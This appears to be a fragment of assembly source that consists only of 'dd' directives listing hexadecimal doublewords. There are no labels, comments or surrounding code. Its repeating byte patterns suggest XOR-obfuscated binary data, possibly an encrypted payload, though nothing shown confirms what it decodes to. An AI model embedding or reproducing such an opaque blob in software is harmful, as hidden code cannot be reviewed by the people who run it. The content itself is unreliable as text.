dd 5455D348h, 0DB4849D9h, 92715A99h, 0B348D13Eh, 0A01DD378h
dd 575E98DBh, 55D348EFh, 4849DA68h, 8865E757h, 594849D8h
dd 5CB1DBA1h, 0D13E9271h, 0A01DD348h, 58D8D8D3h, 0DDD15858h
dd 0A7A7A388h, 0AF98DDD3h, 0DDD1A7A7h, 0A7A7B7CCh, 0B7CCDDD9h
dd 58A0A7A7h, 70E05858h, 0D3585858h, 0EF57A015h, 0B9AF5E11h
dd 0B950DDD1h, 0DD59A7A4h, 0A7A7B7CCh, 585870E0h, 9855D358h
dd 0DB4849D9h, 0B9AF5A99h, 0B95CDDD1h, 0DD59A7A4h, 0A7A7B7CCh
dd 0D3A01DD3h, 58588CD0h, 0CCD55958h, 0D3A7A7B7h, 0DD610C18h
dd 0A7A7B7CCh, 4ADEDF57h, 0ECF95858h, 0DB4849D9h, 0DDD15CB0h
dd 0A7A7ABF4h, 49D934F9h, 5DB0DB48h, 0F9BC1DD1h, 4849D9ACh
dd 0D151B0DBh, 0A7B7FCDDh, 0D8A8F9A7h, 0B0DB4849h, 94DDD15Bh
dd 0B1A7A7A3h, 5858589Ah, 585870E0h, 94FDAF58h, 0D1A7A7A3h
dd 0A4B8A0DDh, 98DDD3A7h, 0D3A7A7AFh, 0DCD5A40Dh, 5858A048h
dd 0A0CDD358h, 0D1A7A4B8h, 0D39E598Eh, 1E5B541Eh, 58DDD150h
dd 0D3A7A4B9h, 1E5B4C1Eh, 0A4DDD148h, 0D3A7A4B8h, 0DD61BC1Dh
dd 0A7A4B958h, 0DDD3512Eh, 0A7A4B958h, 0D3BC1DD1h, 0A7ABF4DDh
dd 0A4DD61A7h, 2EA7A4B8h, 0A4DDD354h, 0D1A7A4B8h, 0A7ABF4DDh
dd 0A01DD3A7h, 58F0D8D3h, 1E635858h, 63452A54h, 0A4B958DDh
dd 0D34D2BA7h, 0DD34C1Eh, 0F0DA5BA0h, 73585858h, 0DDD1541Eh
dd 0A7A7B7FCh, 0A388DDD3h, 0ED3A7A7h, 2A886154h, 500E5B4Bh
dd 542B8861h, 5B541E73h, 0DDD14C1Eh, 0A7A7AFE4h, 0A394DDA7h
dd 1DD3A7A7h, 18EF57A0h, 94DD615Eh, 57A7A7A3h, 0A7A773DAh
dd 0D8C8F9A7h, 0A45D4849h, 8585857h, 0B0BC2DA7h, 58583B39h
dd 0D1509CDBh, 0E5DBBC1Dh, 0A7A7B624h, 0D3512C58h, 0A7ABF4DDh
dd 0A81DD1A7h, 0ABF4DDD3h, 1D61A7A7h, 0D34F2CA8h, 0E757A01Dh
dd 49D9C04Dh, 0C8611248h, 585858F0h, 4972DC57h, 14F95858h
dd 0DB4849DAh, 0DD6151B0h, 0A7A7B7FCh, 5893DC57h, 0F4F95858h
dd 5B4849D9h, 49D9845Dh, 5AB0DB48h, 0B8A0DDD1h, 38F9A7A4h
dd 0DB4849D9h, 0DDD15FB0h, 0A7A4B958h, 0DDD316B3h, 0A7A7B7FCh
dd 0B8ACDDD1h, 44E0A7A4h, 0AF585858h, 0A4B958FDh, 0A8DDD1A7h
dd 0D3A7A4B8h, 0A4B8ACDDh, 0A8CDD3A7h, 59A7A4B8h, 0A41D5B88h
dd 0B8A4DDD1h, 0CDD3A7A4h, 0A7A4B8A0h, 2E400861h, 4018D351h
dd 0B8A0DDD1h, 0DDA7A7A4h, 0A7A4B958h, 0D3A025D3h, 5858F4DFh
dd 5844E158h, 0B0995858h, 117DE25Ah, 0BAAF7CCAh, 0B8ACCDD1h
dd 8FD1A7A4h, 0B958E561h, 0D22AA7A4h, 0A7A01DD3h, 0EDA76428h
dd 0A7A4B8A0h, 583A30B0h, 509CDB58h, 0B8A0DDD1h, 0DDD3A7A4h
dd 0A7A7ABF4h, 2CA81D63h, 0A0DD6154h, 57A7A4B8h, 584813DDh
dd 0D0FDDB58h, 58A7A7B7h, 49D96CF9h, 8C5D5B48h, 0DB4849D8h
dd 0DDD15FB0h, 0A7A7A390h, 585969B1h, 0E4DDD358h, 5BA7A7AFh
dd 0A7A390DDh, 0A41D5BA7h, 87A4DDD1h, 4DD3A7A4h, 4849D974h
dd 0D9304D5Bh, 0B2DB4849h, 57486152h, 585942DCh, 0A4DDD358h
dd 0D3A7A487h, 0DD735418h, 0A7A7A388h, 0AFE4DD5Bh, 0DDD1A7A7h
dd 0A7A487A0h, 8A41D5Bh, 0B859DDD5h, 0A708A7A4h, 5979FC4Dh
dd 509CDB48h, 49D918F9h, 0DDD11048h, 0A7A4B958h, 0DDD373B3h
dd 0A7A4B958h, 595DDCD2h, 64A7A4B8h, 644C2639h, 0D3482522h
dd 0A4B958DDh, 5DDCD5A7h, 0A7A4B859h, 0A77870D8h, 0A4B958DDh
dd 58DDD3A7h, 57A7A4B9h, 595DDCE6h, 0D3A7A4B8h, 49D8E44Dh
dd 55E75748h, 4849D8A4h, 0B2DB9259h, 2D88615Ah, 5DE757E9h
dd 4849D9C8h, 0A25DE4D8h, 1DA7A487h, 4DD3392Dh, 4849DA70h
dd 0A34DE4D8h, 0AA7A487h, 0E757092Dh, 49D9FC4Dh, 4DE4D848h
dd 0A7A487A3h, 0D3182D13h, 49D9DC4Dh, 4DE4D848h, 0A7A4B85Bh
dd 0D3682D6Bh, 49D9804Dh, 584D5B48h, 0D84849DAh, 87A54DE4h
dd 2D14A7A4h, 305D5B42h, 0D84849D9h, 87A65DE4h, 2D6AA7A4h
dd 0D0DD9F52h, 59A7A7B7h, 0DB585858h, 0A7A390DDh, 1DD34CA7h
dd 0DCD8D3A0h, 61585858h, 0A7A390DDh, 0E2DA57A7h, 0DBA7A7A6h
dd 0A7B7D0E5h, 0DC5758A7h, 58585680h, 0DBA01DD3h, 0DB3E4E98h
dd 0DDD55950h, 0A7A4B96Dh, 0A38CDDD1h, 18D3A7A7h, 0E0DDD164h
dd 5BA7A7AFh, 0A7A38CDDh, 0ECDDD1A7h, 0DBA7A7AFh, 0A7B624E5h
dd 0DD5758A7h, 58585948h, 0D3A01DD3h, 49D9904Dh, 50B2DB48h
dd 5888C861h, 0DC575858h, 585858A0h, 0A04DE757h, 5B4849D8h
dd 49D8C04Dh, 56B2DB48h, 588CC861h, 0DC575858h, 58585884h
dd 0B7CCCDD3h, 861A7A7h, 95DE570Ch, 0D3585858h, 0A7AF98DDh
dd 58A05DA7h, 0DDD15858h, 0A7A4B8A0h, 585870E0h, 0A015D358h
dd 5E11EF57h, 0DDD1B9AFh, 0A7A4B8ACh, 0B8A0DDD3h, 0CDD3A7A4h
dd 0A7A4B8ACh, 0DDD18859h, 0A7A4B958h, 0B8A8DDD1h, 70E0A7A4h
dd 0D3585858h, 49D9F455h, 0A8555B48h, 0DB4849D8h, 0B9AF5AB1h
dd 0B8B4DDD1h, 0DDD3A7A4h, 0A7A4B8A8h, 0B8B4CDD3h, 8859A7A4h
dd 0B8A4DDD1h, 1DD3A7A4h, 8CE8A7A0h, 0D3585858h, 0CDD3A41Dh
dd 0A7A4B958h, 0D30A9A59h, 0A4B8A4CDh, 0A9A59A7h, 104C4DA7h
dd 9CDB4851h, 0A01DD354h, 5858885Dh, 0B0DDD158h, 0E0A7A4B8h
dd 58585870h, 0D99855D3h, 555B4849h, 4849D898h, 0DDD1B9AFh
dd 0A7A4B8BCh, 0B8B0DDD3h, 9AD1A7A4h, 0B8BCD5D3h, 5259A7A4h
dd 0A7A01DD3h, 2DA76428h, 727B0A8h, 1DD15858h, 5870E0A8h
dd 15D35858h, 11EF57A0h, 0D1B9AF5Eh, 0A4B958DDh, 98DDD3A7h
dd 0D3A7A7AFh, 0DCD5A40Dh, 5858A048h, 58CDD358h, 0D1A7A4B9h
dd 0F99E598Eh, 4849D984h, 85498DBh, 49D8BCF9h, 5DB0DB48h
dd 0DBA8D108h, 0A7084098h, 51116C4Dh, 5DE75748h, 4849DA48h
dd 59A7A35Dh, 501ED158h, 0A7A01DD3h, 1DD36428h, 5598DB48h
dd 757B008h, 1ED15858h, 0A81DD348h, 0AFE8DDD1h, 1DD3A7A7h
dd 0F8DDD1BCh, 30A7A7B7h, 4849C07Dh, 585557B0h, 0A70E0858h
dd 5979FC4Dh, 0BC1DD348h, 0F9541ED1h, 4849D914h, 5858465Dh
dd 7C1ED1B8h, 0D1A81DD3h, 0B4F94C1Eh, 5D4849D8h, 5859A7A7h
dd 0D3BC1D59h, 0ED3A01Dh, 500E5B54h, 0A70808D1h, 4928184Dh
dd 65E75748h, 4849D970h, 604DE757h, 594849D9h, 5FB7DB8Fh
dd 5858A5E1h, 0A1AFC158h
dd 0E5D18F59h, 0A7A7B7C4h, 0A7A01DD3h, 1DD36428h, 481E5BA8h
dd 623B008h, 9CDB5858h, 0A81DD168h, 0DBA01DD3h, 0A73E5E98h
dd 184DA758h, 0D3484928h, 0A7AFE0E5h, 8CCDD3A7h, 0D1A7A7A3h
dd 0A4B8A0CDh, 0A4DDD1A7h, 0E1A7A4B8h, 585858A7h, 0D3A1AFC1h
dd 0A4B8A0D5h, 614CD0A7h, 28184DA7h, 4DD34849h, 4849DA58h
dd 5C55E757h, 594849D9h, 5CB2DB92h, 0CDD38F59h, 0A7A7A38Ch
dd 0B8A8CDD1h, 0DDD1A7A4h, 0A7A4B8ACh, 5858A7E1h, 0A1AFC158h
dd 0B8A8D5D3h, 4CD0A7A4h, 9865D361h, 5B4849D9h, 49D92C65h
dd 5FB7DB48h, 0A38CCDD3h, 15D3A7A7h, 51B19948h, 576254D0h
dd 0D89C5DE7h, 5D5B4849h, 4849D9D4h, 0D35FB0DBh, 0A7B7C4D5h
dd 15A9DBA7h, 0F95A54D0h, 4849D9A0h, 5B6598DBh, 49D8E45Dh
dd 9CDDD148h, 0B3A7A7A3h, 184DA76Dh, 0D3484928h, 0A7A39CE5h
dd 8CCDD3A7h, 0D1A7A7A3h, 0A4B8B0CDh, 0B4DDD1A7h, 0E1A7A4B8h
dd 585858A7h, 0D3A1AFC1h, 0A4B8B0D5h, 614CD0A7h, 0A39CDDA7h
dd 0DDD3A7A7h, 0A7A7AFE0h, 0A39CDD61h, 0E52AA7A7h, 0B624E5DBh
dd 2C58A7A7h, 0E8DDD322h, 57A7A7AFh, 0D8884DE7h, 4D5B4849h
dd 4849D898h, 0DD38859h, 5A5CD3A4h, 0B8BCDDD1h, 1DD3A7A4h
dd 6C08D3A0h, 0F970085Bh, 4849D968h, 595E98DBh, 0B8CDD19Ah
dd 0D3A7A4B8h, 0A4B8BCDDh, 0C84DD3A7h, 0DB4849D8h, 0E757AE9Ah
dd 49DA4855h, 71925948h, 0B8DD5B88h, 0D3A7A4B8h, 49D9F44Dh
dd 5A9ADB48h, 0DDD18859h, 0A7A4B884h, 0D3A01DD3h, 0A4B884CDh
dd 6C0873A7h, 327008D1h, 0DAC83055h, 0DDD54849h, 0A7A4B970h
dd 4C4DA708h, 0D3485110h, 98DB481Eh, 0DDD50855h, 0A7A4B970h
dd 4C1ED308h, 8A41D5Bh, 104C4DA7h, 9CDB4851h, 4C1ED340h
dd 0D15598DBh, 0A7B7C0DDh, 4DE757A7h, 4849D89Ch, 595CB2DBh
dd 84DDD188h, 0B3A7A7A3h, 84DDD342h, 5BA7A7A3h, 0EE57A41Dh
dd 0C4CD6B48h, 0D0A7A7B7h, 84DDA748h, 0D3A7A7A3h, 0A7B7C0DDh
dd 481D5BA7h, 0A384DD61h, 8D2AA7A7h, 49D8E0F9h, 5CB0DB48h
dd 0F9B01DD1h, 4849D9ACh, 9A599AD1h, 0B0DB88D1h, 98DDD14Ah
dd 0B1A7A7A3h, 58585AB0h, 585870E0h, 98FDAF58h, 0D1A7A7A3h
dd 0A4B8B8DDh, 0E0DDD3A7h, 0D3A7A7AFh, 0A7A38CCDh, 48DCD5A7h
dd 585858A0h, 0B8B8CDD3h, 8BD1A7A4h, 70E09B59h, 0D3585858h
dd 0EF57A015h, 0B9AF5E11h, 0B884DDD1h, 0DDD3A7A4h, 0A7A7AF98h
dd 0D5A40DD3h, 58A048DCh, 0CDD35858h, 0A7A4B884h, 9E598ED1h
dd 945DE757h, 0D84849D8h, 2D2A5B64h, 0D9F4F96Bh, 0E7574849h
dd 49D9644Dh, 0DB885948h, 64D853B0h, 442D765Bh, 505DE757h
dd 0D84849DAh, 3B5C4024h, 1BD3562Dh, 0DCDDD14Ch, 0B1A7A7B7h
dd 58585A1Eh, 0A05DE757h, 0DB4849D8h, 64D85DB0h, 612D765Bh
dd 1C5DE757h, 5B4849DAh, 49D9305Dh, 50B0DB48h, 3D5B64D8h
dd 0BCF97B2Dh, 184849D9h, 395B64D8h, 1BD34F2Dh, 20DDD154h
dd 0D3A7A7B6h, 0DDD14C1Bh, 0A7A7B7D8h, 5859A5B1h, 5DE75758h
dd 4849D93Ch, 315B64D8h, 0F4F9692Dh, 574849D9h, 0D9644DE7h
dd 88594849h, 0D853B0DBh, 2D765B64h, 5DE75742h, 4849DA48h
dd 0D9D05D5Bh, 0B0DB4849h, 5B64D85Dh, 0E7DC5739h, 0F9585859h
dd 4849D9ECh, 0D85CB0DBh, 57765B64h, 5858DCDDh, 0D978F958h
dd 5D5B4849h, 4849D8A8h, 0D852B0DBh, 2D3A5B64h, 0D9BCF928h
dd 5D5B4849h, 4849DA64h, 5B64D810h, 0DB062D2Bh, 0B8F9809Eh
dd 5D4849D9h, 0B8585840h, 0D8E05D5Bh, 1ED14849h, 5DE7577Ch
dd 4849D8ECh, 5857A35Dh, 2EA70858h, 29BB050h, 9FD15858h
dd 0D150235Bh, 0F8F95026h, 5D4849D8h, 585857A3h, 0D96C5D5Bh
dd 0D3084849h, 1B5BBC1Dh, 0C6B00850h, 0DB585802h, 1DD1489Ch
dd 709EDBBCh, 585971B1h, 0A81DD358h, 0D34C1ED1h, 1ED1501Bh
dd 0BC1DD350h, 0D3541ED1h, 1ED17C1Bh, 0A70E0B7Ch, 5979FC4Dh
dd 481BD348h, 57481ED1h, 0D8885DE7h, 0E7574849h, 49D8944Dh
dd 481CD548h, 0A8F9085Dh, 0DB4849D8h, 0D1085BB0h, 4098DBA8h
dd 6C4DA708h, 0D3485111h, 0BD3B025h, 0E5CCD154h, 0A7A7A3B8h
dd 0D1500BD3h, 0AF9CE5CCh, 0ED3A7A7h, 0E5CCD154h, 0A7A7ABECh
dd 0D14C0ED3h, 0B7E8E5CCh, 1DA7A7A7h, 481BD3B0h, 0D3A81D59h
dd 0DDD1A81Dh, 0A7A4B8BCh, 0A7A01DD3h, 2DA76428h, 1AFB0A8h
dd 9CDB5858h, 0A81DD144h, 49D9F4F9h, 64D81048h, 782D3C5Bh
dd 0B8BCDDD3h, 1D61A7A4h, 0D34D2EA8h, 9971A815h, 0B880D5D1h
dd 90D1A7A4h, 0D1501E59h, 481E5990h, 0A45DE757h, 5D4849D8h
dd 585857A6h, 541ED308h, 8501B5Bh, 5801F4B0h, 0A025D358h
dd 0F9081FD1h, 4849DA4Ch, 5857A55Dh, 1DD30858h, 501B5BBCh
dd 1D7B008h, 1DD15858h, 0DBA0D1BCh, 0A73E5E98h, 482EA758h
dd 5B4C1BD3h, 0A7A38CDDh, 1ED308A7h, 0A41D5B4Ch, 4C4DA708h
dd 0DB485110h, 0DDA7449Ch, 0A7A7A398h, 0AFECDDD3h, 0EF57A7A7h
dd 0DD615E18h, 0A7A7A398h, 0A55ADA57h, 0DDD3A7A7h, 0A7A7B7DCh
dd 0A38CDD5Bh, 1DD1A7A7h, 0D984F9B4h, 0E7574849h, 49D9F04Dh
dd 0D1885948h, 4B3B81Dh, 0D3B825D3h, 4AD3B40Dh, 0B8E5CC61h
dd 2DA7A7A3h, 0B41DD353h, 0DDD158D3h, 0A7A7ABE8h, 99B825D3h
dd 0CCD35ABFh, 0A7A3B865h, 65CC5BA7h, 0A7A7AF9Ch, 63B425D3h
dd 0D37A2E4Fh, 0E4D3B825h, 0A7B7E8E5h, 0C8E5D1A7h, 0D3A7A7B7h
dd 0E4D3B825h, 0A7ABECE5h, 0F4E5D1A7h, 0B3A7A7B7h, 0B81DA753h
dd 61B01DD3h, 0C42AB81Dh, 49DA5CF9h, 5AB0DB48h, 0A380DDD1h
dd 3CB1A7A7h, 0D3585859h, 0A7A380DDh, 0E84DD3A7h, 5B4849D9h
dd 49D9784Dh, 5FB2DB48h, 1D5B8859h, 0B8DDD1B4h, 3EA7A4B8h
dd 0D13E58D3h, 0A4B8BCDDh, 0DDEF57A7h, 0A7A4B8BCh, 0D9F44DD3h
dd 0B2DB4849h, 5788615Ah, 58596CDCh, 0E5EF5758h, 0A7A4B8BCh
dd 884DE757h, 574849D8h, 0D91055E7h, 14D54849h, 0A78B5D52h
dd 86E5D13Eh, 57A7A4B8h, 0B8BCE5EFh, 4DD3A7A4h, 4849D930h
dd 0AC55E757h, 0DF4849D8h, 8B895989h, 0E5D13EBFh, 0A7A4B8BEh
dd 0BEE5EF57h, 0D3A7A4B8h, 49D9B855h, 3EA78B48h, 0B8BEE5D1h
dd 0EF57A7A4h, 0A4B8BEDDh, 444DD3A7h, 0DB4849D9h, 88615AB2h
dd 0ACF94C2Dh, 0DB4849D9h, 0DD6151B0h, 0A7A7A380h, 58EBDD57h
dd 1DD35858h, 6C18D3A0h, 0B7F4DD5Bh, 0DD3A7A7h, 735A5BB4h
dd 0A7ABE8DDh, 0CDEF57A7h, 0A7A4B8BEh, 0DDD18859h, 0A7A4B880h
dd 0AFECDDD3h, 18D3A7A7h, 0B40DD36Ch, 0EF575A5Bh, 0A4B8BECDh
dd 0D18859A7h, 0A4B88CDDh, 80D5D3A7h, 71A7A4B8h, 88D5D199h
dd 57A7A4B8h, 0B886DDEFh, 0E757A7A4h, 49D9B04Dh, 0C84D5B48h
dd 0DB4849D8h, 886150B2h, 0DDD37F2Dh, 0A7A7B7C8h, 5BB40DD3h
dd 0E8DD735Ah, 57A7A7ABh, 0B8BECDEFh, 8859A7A4h, 0D1A41D5Bh
dd 0A4B894DDh, 5992D1A7h, 0D924F948h, 0B0DB4849h, 80DD595Dh
dd 0D3A7A7A3h, 18D3B41Dh, 80DD615Ch, 57A7A7A3h, 0A7A6D2DAh
dd 0B41DD3A7h, 595C08D3h, 0B40DD19Ah, 0AFECDDD3h, 0D8D3A7A7h
dd 585858FCh, 0B7DCCDD3h, 0CD5BA7A7h, 0A7A7A38Ch, 1D618859h
dd 8ADA57B4h, 0D3A7A7A5h, 10D3A01Dh, 2CD5D170h, 0D3A7A7B6h
dd 0A7B7F8CDh, 7008D1A7h, 0B624E5DBh, 2D58A7A7h, 3898DB47h
dd 0AFECCDD3h, 0AD3A7A7h, 0D3485938h, 98DBA01Dh, 0ECCDD330h
dd 0D3A7A7AFh, 4859300Ah, 57A01DD3h, 0DA184DE7h, 0E7574849h
dd 49D97055h, 0DB925948h, 0D13E5FB2h, 4DD31E08h, 4849D9A4h
dd 5B5D9ADBh, 49D9A04Dh, 4208D048h, 0D8B84DD3h, 9ADB4849h
dd 8D13E5Fh, 0D8DDD31Ch
dd 5BA7A7B7h, 0A7A38CDDh, 40DDD1A7h, 0D3A7A4B9h, 0A7B7D8DDh
dd 40CDD3A7h, 5BA7A4B9h, 0DD73441Ah, 0A7A7B620h, 0B94CDDD1h
dd 0DD5BA7A4h, 0A7A7A38Ch, 0B948DDD1h, 58D3A7A4h, 0B7F0DDD1h
dd 0ECF9A7A7h, 574849D9h, 0D9644DE7h, 88594849h, 0D155B0DBh
dd 19B3841Dh, 998425D3h, 0CCD35ABFh, 0A7A3B865h, 65CC5BA7h
dd 0A7A7AF9Ch, 0B7F0CD63h, 7A2EA7A7h, 0D38425D3h, 0A3B8E5E4h
dd 0E5D1A7A7h, 0A7A7B634h, 0D38425D3h, 0ABECE5E4h, 0E5D1A7A7h
dd 0A7A7B630h, 1DA753B3h, 0B01DD384h, 2A841D61h, 0A01DD3EFh
dd 5B6C18D3h, 0A7B630DDh, 0F0DD5BA7h, 73A7A7B7h, 0A7B634DDh
dd 28DDD1A7h, 0D3A7A7B6h, 0A7AFECDDh, 6C18D3A7h, 0B7F0DD5Bh
dd 0DDD1A7A7h, 0A7A7B7F0h, 0AFE8DDD3h, 1DD1A7A7h, 5AD3B1ACh
dd 1DD35858h, 0A40DD3ACh, 0D8E055D3h, 555B4849h, 4849D908h
dd 0D15FB1DBh, 5797599Fh, 0D36254EEh, 49D8F865h, 5BB7DB48h
dd 0DD57A161h, 58585951h, 0D8F855D3h, 0D1114849h, 5797599Fh
dd 0D36254EEh, 49DA5C65h, 5AB7DB48h, 0DD57A161h, 585858B1h
dd 5A54EE57h, 0D94C65D3h, 9FD94849h, 585858BCh, 0D9BC655Bh
dd 0A1614849h, 5893DD57h, 55D35858h, 4849D984h, 0D15B99DBh
dd 5797599Fh, 0D36254EEh, 49DA6465h, 58655B48h, 0DB4849DAh
dd 0A1615DB7h, 58FBDD57h, 5D5B5858h, 4849D980h, 5A5CEE57h
dd 0DA784DD3h, 4D5B4849h, 4849D9F8h, 6152B2DBh, 0DADD5788h
dd 0D3585858h, 10D3A01Dh, 2CD55B6Ch, 0D1A7A7B6h, 0A4B8BCD5h
dd 6C18D3A7h, 0B7F8DD5Bh, 0DD3A7A7h, 0E8CD73ACh, 59A7A7AFh
dd 0B8DDD188h, 57A7A4B8h, 0D8AC5DE7h, 4DD34849h, 4849D9ECh
dd 0A1481CD5h, 0B8B8DD73h, 9059A7A4h, 5C4DE757h, 0DB4849D9h
dd 88715C9Ah, 0B884DDD1h, 0E757A7A4h, 49D8F065h, 0A0655B48h
dd 0D34849D9h, 0E757AC0Dh, 49D8AC55h, 48555B48h, 0DB4849D9h
dd 925952B1h, 0D1A40D5Bh, 0E214D199h, 0AC1DD3ACh, 0D1A40DD3h
dd 0A4B8BCCDh, 6855D3A7h, 0DB4849D9h, 9FD15A99h, 0EE579759h
dd 65D36254h, 4849D9DCh, 0CC4DE757h, 594849D9h, 0DBA2D18Fh
dd 89615DB2h, 5940DD57h, 0E7575858h, 49DA1C4Dh, 644D5B48h
dd 0DB4849DAh, 99D15EB2h, 0CDD38959h, 0A7A4B8BCh, 524CEE57h
dd 0D91455D3h, 555B4849h, 4849D9B4h, 615DB1DBh, 0BBDD5792h
dd 0D3585858h, 49D9044Dh, 484D5B48h, 0DB4849D9h, 99D153B2h
dd 0CDD38959h, 0A7A4B8BCh, 524CEE57h, 0D97455D3h, 0B1DB4849h
dd 57926150h, 5858EDDDh, 0BCCDD358h, 57A7A4B8h, 575A4CEEh
dd 0DA1855E7h, 99D94849h, 585858B8h, 0DD579261h, 585858CEh
dd 0DA6C4DD3h, 0E7574849h, 49DA5055h, 0DB925948h, 88595DB2h
dd 0B8BCCDD3h, 0EE57A7A4h, 4DD35A5Ch, 4849DA74h, 615FB2DBh
dd 0D3332D88h, 18D3A01Dh, 0F8DD5B6Ch, 0D3A7A7B7h, 0CD73AC0Dh
dd 0A7A7AFE8h, 0DDD18859h, 0A7A4B8B8h, 0B628DDD3h, 0DDD1A7A7h
dd 0A7A4B884h, 0A05DE757h, 0DB4849D8h, 0DD73A298h, 0A7A4B8B8h
dd 0B884DD5Bh, 4DD3A7A4h, 4849D880h, 715AB2DBh, 80DDD188h
dd 57A7A4B8h, 0D95C65E7h, 0DD34849h, 0E455D3ACh, 194849D8h
dd 0D5B9259h, 0D199D1A4h, 1DA7E254h, 0E8DDD3ACh, 0DBA7A7AFh
dd 1D615598h, 3BDA57ACh, 0A7A7A7A5h, 0A7B7D4EDh, 104DA7A7h
dd 0A7485111h, 0DDD5502Dh, 0A7A7B6D9h, 0FC4DA708h, 0DB485979h
dd 1DD3509Ch, 0DB99D150h, 0D818A790h, 2D585964h, 7CDDD1A1h
dd 0D3A7A4B9h, 49D9844Dh, 55E75748h, 4849D9C0h, 88719259h
dd 0D95DDC9Eh, 2AA7A7B6h, 0B97CDDD3h, 0E757A7A4h, 49DA504Dh
dd 5A9ADB48h, 0DC9E8871h, 0A7B6D95Dh, 0DDD331A7h, 0A7A4B97Ch
dd 0D9204DD3h, 0B2DB4849h, 9E88715Fh, 0B6D95DDCh, 0F92EA7A7h
dd 4849D96Ch, 85AB0DBh, 49D9D4F9h, 59B0DB48h, 575A3208h
dd 0D8EC5DE7h, 0B0DB4849h, 0F4F9085Dh, 0DB4849D8h, 30085FB0h
dd 18585858h, 0B6D9DDD5h, 0A708A7A7h, 4933404Dh, 0D4DDD148h
dd 0F9A7A7B7h, 4849D924h, 85FB0DBh, 0B978DDD5h, 0A708A7A4h
dd 2DA7A82Dh, 0D4EDA7A4h, 0A7A7A7B7h, 4937444Dh, 0D4EDA748h
dd 0A7A7A7B7h, 5111104Dh, 0A42DA748h, 7D944DA7h, 58324859h
dd 0D5502DA7h, 0A7B6D9DDh, 4DA708A7h, 48516D1Ch, 0B6D9DDD5h
dd 0A708A7A7h, 58A8544Dh, 5859E048h, 4FB35858h, 0B7D4EDA7h
dd 4DA7A7A7h, 48511110h, 0A7A42DA7h, 597D944Dh, 7986948h
dd 9B910306h, 9BDD10Dh, 0D30F0E0Bh, 65DB5025h, 4849DA08h
dd 304D2D58h, 48492808h, 57944DA7h, 5D9F4859h, 4849DA08h
dd 58585859h, 0D96C6DD3h, 571E4849h, 0EE5747EEh, 0EF57590Fh
dd 50BA998Ah, 0EF578B51h, 3E865983h, 57A42DD1h, 0D3A41DEFh
dd 49D9004Dh, 684D5B48h, 124849DAh, 0DC578861h, 585858DFh
dd 49280830h, 44DA748h, 57484901h, 0D8AC5DE7h, 0E7574849h
dd 49D91C4Dh, 0DB885948h, 0D13E5BB0h, 4DB3A61Dh, 0A61DEF57h
dd 0E657A059h, 17E65748h, 0D092695Ah, 1DA73E48h, 1DEF57A6h
dd 0DEF57A6h, 248861A4h, 5DE75787h, 4849D894h, 4DE75710h
dd 4849D8A0h, 0D05DB2DBh, 0E7575F4Ch, 49D9C05Dh, 905D5B48h
dd 0DB4849D9h, 4DD350B0h, 4849D8B8h, 0D97C4D5Bh, 0B2DB4849h
dd 5F4CD050h, 49280830h, 184DA748h, 0D5485111h, 6075B1Fh
dd 0D9B9103h, 0B4D9BDD1h, 58585B74h, 0A70F0E0Bh, 4DA7542Dh
dd 4855017Ch, 502DA701h, 0A4B2DDD5h, 0B008A7A7h, 5858F191h
dd 0A4B2D5D5h, 90DBA7A7h, 64D818A7h, 0A12D5859h, 0DA5C4DD3h
dd 4D5B4849h, 4849D8C0h, 0D152B2DBh, 0D38B719Bh, 49D9D84Dh
dd 45CCD048h, 0A7A7A4B2h, 49D90CF9h, 4DE75748h, 4849D95Ch
dd 8F599FD1h, 0D150B7DBh, 9055D3A0h, 194849D8h, 0DDD1B9AFh
dd 0A7A7A4B8h, 65DCE657h, 0A7A7A4B2h, 0A4B8CDD3h, 0DCD0A7A7h
dd 0A7A5B64Dh, 0D3A0D1A7h, 49D8BC55h, 5BB1DB48h, 0DDD1B9AFh
dd 0A7A7A484h, 49D9F8F9h, 0C45D5B48h, 0DB4849D9h, 0CDD353B0h
dd 0A7A7A484h, 0E4F99A59h, 5B4849D9h, 49DA605Dh, 5EB0DB48h
dd 0B64DDCD0h, 57A7A7A5h, 0B265DCE6h, 57A7A7A4h, 0D9A84DE7h
dd 4D5B4849h, 4849D954h, 6150B2DBh, 0DADD5788h, 0D1585858h
dd 2455D3A0h, 0DB4849D9h, 0B9AF5DB1h, 0A480DDD1h, 0BCF9A7A7h
dd 5B4849D8h, 49D8C05Dh, 53B0DB48h, 0A480CDD3h, 9A59A7A7h
dd 0F05DE757h, 0D04849D9h, 0A5B64DDCh, 0A0D1A7A7h, 0D90855D3h
dd 555B4849h, 4849D96Ch, 0AF5CB1DBh, 8CDDD1B9h, 0F9A7A7A4h
dd 4849D934h, 0A04DE757h, 594849D8h, 50B0DB88h, 0A48CCDD3h
dd 9A59A7A7h, 0C85DE757h, 5B4849D9h, 49D8BC5Dh, 55B0DB48h
dd 0B64DDCD0h, 0B3A7A7A5h, 0ACB11F5Eh, 0F9A7A7A6h, 4849D97Ch
dd 615AB0DBh, 49DA345Dh, 0D5392C48h, 0A7A5B6DDh, 8CF908A7h
dd 0DB4849D9h, 0A70850B0h, 597DEC4Dh, 519ED148h, 0F91D2CAEh
dd 4849D9F8h, 0D9C45D5Bh, 0B0DB4849h, 285D6154h, 2C4849DAh
dd 0D880F908h, 5D5B4849h, 4849D974h, 0AF55B0DBh, 0DDD50880h
dd 0A7A7A5B6h, 5DE75708h, 4849D940h, 0D9D45D5Bh, 0B0DB4849h
dd 4DA70851h, 4858A87Ch, 7D9C6DA7h, 6DA74859h, 485100A4h
dd 0A4B2DDD5h, 0B008A7A7h, 0A7A7BFADh, 0D1549CDBh, 0A7A4BCDDh
dd 30607A7h, 0D10D9B91h, 7948E0BDh, 0EEB05859h, 0B5858FFh
dd 2DA70F0Eh, 0A4DDD550h, 8A7A686h, 58FF9CB0h, 0A4D5D558h
dd 0DBA7A686h, 0D818A790h, 2D585964h, 0EC45D3A1h, 0DB4849D9h
dd 9ED15BB3h, 0E7578671h, 49D88845h, 5EB3DB48h, 0A46DC4D0h
dd 57A7A686h, 0D9CC5DE7h
dd 5D5B4849h, 4849D9D4h, 85AB0DBh, 1C5DE757h, 0DB4849D9h
dd 32085CB0h, 5DE7575Bh, 4849D9B0h, 0D9E05D5Bh, 0B0DB4849h
dd 6DA70853h, 4849D984h, 58585930h, 0A4DDD5D8h, 8A7A686h
dd 33404DA7h, 9FD14849h, 57A7A7DBh, 585A69DCh, 5DE75758h
dd 4849DA18h, 850B0DBh, 86A8DDD5h, 3008A7A6h, 585847A7h
dd 0B859DDD5h, 0F08A7A7h, 0A86C4DA7h, 0DDD14858h, 0A7A686A0h
dd 104DA70Fh, 0D8485111h, 0A7B859E5h, 0DD5714A7h, 585859AAh
